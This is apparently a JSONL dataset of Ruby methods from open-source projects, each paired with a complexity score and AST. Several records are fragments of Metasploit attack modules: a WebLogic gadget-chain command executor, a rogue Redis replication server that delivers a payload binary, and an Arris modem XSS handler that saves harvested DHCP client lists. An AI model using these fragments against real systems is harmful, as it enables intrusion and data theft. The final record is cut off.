{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exception.rb","start_line":84,"raw_source":"def initialize(msg = \"An encoding exception occurred.\")\n    super(msg)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"msg\",{\"type\":\"str\",\"children\":[\"An encoding exception occurred.\"]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}","id":"b13f0c34-ec5b-4a31-a460-c9eda13bf94e"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/load_balancer.rb","start_line":81,"raw_source":"def raw_exists?\n    raise NotImplementedError, _(\"raw_exists must be implemented in a subclass\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"raw_exists?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"raw_exists must be implemented in a subclass\"]}]}]}]}","id":"7dc92252-c8ef-41c6-839f-e48efac6ef3b"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/naming/inclusive_language.rb","start_line":176,"raw_source":"def add_to_flagged_term_hash(regex_string, term, term_definition)\n          @flagged_term_hash[Regexp.new(regex_string, Regexp::IGNORECASE)] =\n            term_definition.merge('Term' => term,\n                                  'SuggestionString' =>\n                                    preprocess_suggestions(term_definition['Suggestions']))\n        end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"add_to_flagged_term_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"regex_string\"]},{\"type\":\"arg\",\"children\":[\"term\"]},{\"type\":\"arg\",\"children\":[\"term_definition\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@flagged_term_hash\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"regex_string\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"IGNORECASE\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"term_definition\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Term\"]},{\"type\":\"lvar\",\"children\":[\"term\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SuggestionString\"]},{\"type\":\"send\",\"children\":[null,\"preprocess_suggestions\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"term_definition\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Suggestions\"]}]}]}]}]}]}]}]}","id":"dc11c652-bc92-4b74-a2fa-8128b9ae0587"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/weblogic_admin_handle_rce.rb","start_line":173,"raw_source":"def execute_command(cmd, _opts = {})\n    vprint_status(\"Executing command: #{cmd}\")\n\n    send_request_handle(coherence_gadget_chain(cmd))\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing command: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_handle\",{\"type\":\"send\",\"children\":[null,\"coherence_gadget_chain\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}]}","id":"6f5d49ec-c2e0-43a8-8bea-5c38eb7b0883"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/client_core.rb","start_line":474,"raw_source":"def native_arch(timeout=nil)\n    # Not all meterpreter implementations support this\n    request = Packet.create_request(COMMAND_ID_CORE_NATIVE_ARCH)\n\n    args = [ request ]\n    args << timeout if timeout\n\n    response = client.send_request(*args)\n\n    response.get_tlv_value(TLV_TYPE_STRING)\n  end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"native_arch\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"timeout\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packet\"]},\"create_request\",{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_CORE_NATIVE_ARCH\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"timeout\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"send_request\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"get_tlv_value\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_STRING\"]}]}]}]}","id":"a6e63cd7-f2b0-46fb-a414-516faf0f6ae6"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/patches/action_view_accessible_errors.rb","start_line":94,"raw_source":"def error_message_list_elements(array)\n          array.map do |msg, identifier|\n            content_tag :li do\n              content_tag :a,\n                          ERB::Util.html_escape(msg),\n                          href: \"#\" + identifier,\n                          class: \"afocus\"\n            end\n          end\n        end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"error_message_list_elements\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"array\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"array\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]},{\"type\":\"arg\",\"children\":[\"identifier\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"li\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"Util\"]},\"html_escape\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"#\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"identifier\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"afocus\"]}]}]}]}]}]}]}","id":"8138dea0-aed8-4757-9a1e-76f927732299"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/redis/redis_replication_cmd_exec.rb","start_line":164,"raw_source":"def start_rogue_server\n    begin\n      socket = Rex::Socket::TcpServer.create({ 'LocalHost' => srvhost, 'LocalPort' => srvport })\n      print_status(\"Listening on #{srvhost}:#{srvport}\")\n    rescue Rex::BindFailed\n      print_warning(\"Handler failed to bind to #{srvhost}:#{srvport}\")\n      print_status(\"Listening on 0.0.0.0:#{srvport}\")\n      socket = Rex::Socket::TcpServer.create({ 'LocalHost' => '0.0.0.0', 'LocalPort' => srvport })\n    end\n\n    rsock = socket.accept\n    vprint_status('Accepted a connection')\n\n    # Start negotiation\n    loop do\n      request = rsock.read(1024)\n      vprint_status(\"in<<< #{request.inspect}\")\n      response = ''\n      finish = false\n\n      if request.include?('PING')\n        response = \"+PONG\\r\\n\"\n      elsif request.include?('REPLCONF')\n        response = \"+OK\\r\\n\"\n      elsif request.include?('PSYNC') || request.include?('SYNC')\n        response = \"+FULLRESYNC #{'Z' * 40} 1\\r\\n\"\n        response << \"$#{payload_bin.length}\\r\\n\"\n        response << \"#{payload_bin}\\r\\n\"\n        finish = true\n      end\n\n      if response.length < 200\n        vprint_status(\"out>>> #{response.inspect}\")\n      else\n        vprint_status(\"out>>> #{response.inspect[0..100]}......#{response.inspect[-100..]}\")\n      end\n\n      rsock.put(response)\n\n      next unless finish\n\n      print_status('Rogue server close...')\n      rsock.close\n      socket.close\n      break\n    end\n  end","complexity_score":81.18,"ast_json":"{\"type\":\"def\",\"children\":[\"start_rogue_server\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"socket\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"TcpServer\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LocalHost\"]},{\"type\":\"send\",\"children\":[null,\"srvhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LocalPort\"]},{\"type\":\"send\",\"children\":[null,\"srvport\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Listening on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"srvhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"srvport\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"BindFailed\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Handler failed to bind to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"srvhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"srvport\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Listening on 0.0.0.0:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"srvport\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"socket\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"TcpServer\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LocalHost\"]},{\"type\":\"str\",\"children\":[\"0.0.0.0\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LocalPort\"]},{\"type\":\"send\",\"children\":[null,\"srvport\"]}]}]}]}]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"rsock\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socket\"]},\"accept\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Accepted a connection\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rsock\"]},\"read\",{\"type\":\"int\",\"children\":[1024]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"in<<< \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"inspect\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"finish\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"include?\",{\"type\":\"str\",\"children\":[\"PING\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"str\",\"children\":[\"+PONG\\r\\n\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"include?\",{\"type\":\"str\",\"children\":[\"REPLCONF\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"str\",\"children\":[\"+OK\\r\\n\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"include?\",{\"type\":\"str\",\"children\":[\"PSYNC\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"include?\",{\"type\":\"str\",\"children\":[\"SYNC\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"+FULLRESYNC \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Z\"]},\"*\",{\"type\":\"int\",\"children\":[40]}]}]},{\"type\":\"str\",\"children\":[\" 1\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"$\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload_bin\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload_bin\"]}]},{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"finish\",{\"type\":\"true\",\"children\":[]}]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"length\"]},\"<\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"out>>> \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"inspect\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"out>>> \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"inspect\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[100]}]}]}]},{\"type\":\"str\",\"children\":[\"......\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"inspect\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[-100]},null]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rsock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"response\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"finish\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Rogue server close...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rsock\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socket\"]},\"close\"]},{\"type\":\"break\",\"children\":[]}]}]}]}]}","id":"85c92e84-bfbc-4e25-a714-3dd96e5ed947"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/cop.rb","start_line":25,"raw_source":"def self.inherited(_subclass)\n        super\n        warn Rainbow(<<~WARNING).yellow, uplevel: 1\n          Inheriting from `RuboCop::Cop::Cop` is deprecated. Use `RuboCop::Cop::Base` instead.\n          For more information, see https://docs.rubocop.org/rubocop/v1_upgrade_notes.html.\n        WARNING\n      end","complexity_score":3.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"inherited\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_subclass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Rainbow\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Inheriting from `RuboCop::Cop::Cop` is deprecated. Use `RuboCop::Cop::Base` instead.\\n\"]},{\"type\":\"str\",\"children\":[\"For more information, see https://docs.rubocop.org/rubocop/v1_upgrade_notes.html.\\n\"]}]}]},\"yellow\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uplevel\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}","id":"fa853cc5-e8ad-4eff-94cb-26b99c2ef310"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb","start_line":107,"raw_source":"def on_request_uri(cli, request)\n    if request.method =~ /post/i\n      file = store_loot(\n        'dhcp.clients', 'text/json', cli.peerhost,\n        request.body, 'arris_surfboard_xss', 'DHCP client list gathered from modem'\n      )\n      print_good \"Dumped DHCP client list from #{cli.peerhost}\"\n      print_good file\n    elsif request.uri =~ %r{/dmz$}i\n      print_good \"DMZ host successfully reset to #{datastore['SET_DMZ_HOST']}.\"\n      send_response_html(cli, '')\n    else\n      send_response_html(cli, exploit_html)\n    end\n  end","complexity_score":21.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"method\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"post\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"dhcp.clients\"]},{\"type\":\"str\",\"children\":[\"text/json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"body\"]},{\"type\":\"str\",\"children\":[\"arris_surfboard_xss\"]},{\"type\":\"str\",\"children\":[\"DHCP client list gathered from modem\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Dumped DHCP client list from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/dmz$\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DMZ host successfully reset to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SET_DMZ_HOST\"]}]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_response_html\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_response_html\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"send\",\"children\":[null,\"exploit_html\"]}]}]}]}]}","id":"b5b491bd-b921-447e-94bf-728ac3df11b2"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/order/address_book.rb","start_line":4,"raw_source":"def clone_shipping_address\n        self.bill_address = ship_address if ship_address\n        user.bill_address = ship_address if should_assign_user_default_address?(ship_address)\n        true\n      end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"clone_shipping_address\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ship_address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"bill_address=\",{\"type\":\"send\",\"children\":[null,\"ship_address\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"should_assign_user_default_address?\",{\"type\":\"send\",\"children\":[null,\"ship_address\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"bill_address=\",{\"type\":\"send\",\"children\":[null,\"ship_address\"]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"c03419a7-3973-415d-b68e-7f42f17abc4b"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/cookies_test.rb","start_line":853,"raw_source":"def test_encrypted_cookie_using_message_pack_serializer\n    @request.env[\"action_dispatch.cookies_serializer\"] = :message_pack\n    get :set_encrypted_cookie\n    cookies = @controller.send :cookies\n    assert_not_equal \"bar\", cookies[:foo]\n    assert_nil cookies.signed[:foo]\n    assert_equal \"bar\", cookies.encrypted[:foo]\n  end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_encrypted_cookie_using_message_pack_serializer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"env\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"action_dispatch.cookies_serializer\"]},{\"type\":\"sym\",\"children\":[\"message_pack\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"set_encrypted_cookie\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cookies\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"send\",{\"type\":\"sym\",\"children\":[\"cookies\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"str\",\"children\":[\"bar\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookies\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"foo\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookies\"]},\"signed\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"foo\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"bar\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookies\"]},\"encrypted\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"foo\"]}]}]}]}]}","id":"32f1549e-ff26-489a-bca1-d25169d6df99"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request_diff_file.rb","start_line":79,"raw_source":"def diff_export\n    content = merge_request_diff.cached_external_diff do |file|\n      file.seek(external_diff_offset)\n\n      force_encode_utf8(file.read(external_diff_size))\n    end\n\n    # See #diff\n    if binary?\n      content = begin\n        content.unpack1('m0')\n      rescue ArgumentError\n        content\n      end\n    end\n\n    content\n  rescue StandardError => e\n    log_exception('Cached external diff export failed', e)\n\n    diff\n  end","complexity_score":23.5,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_export\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request_diff\"]},\"cached_external_diff\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"seek\",{\"type\":\"send\",\"children\":[null,\"external_diff_offset\"]}]},{\"type\":\"send\",\"children\":[null,\"force_encode_utf8\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"read\",{\"type\":\"send\",\"children\":[null,\"external_diff_size\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"binary?\"]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"unpack1\",{\"type\":\"str\",\"children\":[\"m0\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},null,{\"type\":\"lvar\",\"children\":[\"content\"]}]},null]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_exception\",{\"type\":\"str\",\"children\":[\"Cached external diff export failed\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[null,\"diff\"]}]}]},null]}]}","id":"0c402809-15f3-4c5d-863b-83acd4bd99ab"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/nuuo/client.rb","start_line":41,"raw_source":"def initialize(opts = {})\n    self.host         = opts[:host]\n    self.port         = opts[:port] || 5180\n    self.timeout      = opts[:timeout] || 10\n    self.context      = opts[:context] || {}\n    self.username     = opts[:username]\n    self.password     = opts[:password]\n    self.user_session = opts[:user_session]\n\n    self.config = Nuuo::ClientRequest::DefaultConfig\n  end","complexity_score":19.85,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"host=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"host\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"port=\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]},{\"type\":\"int\",\"children\":[5180]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"timeout=\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timeout\"]}]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"send\",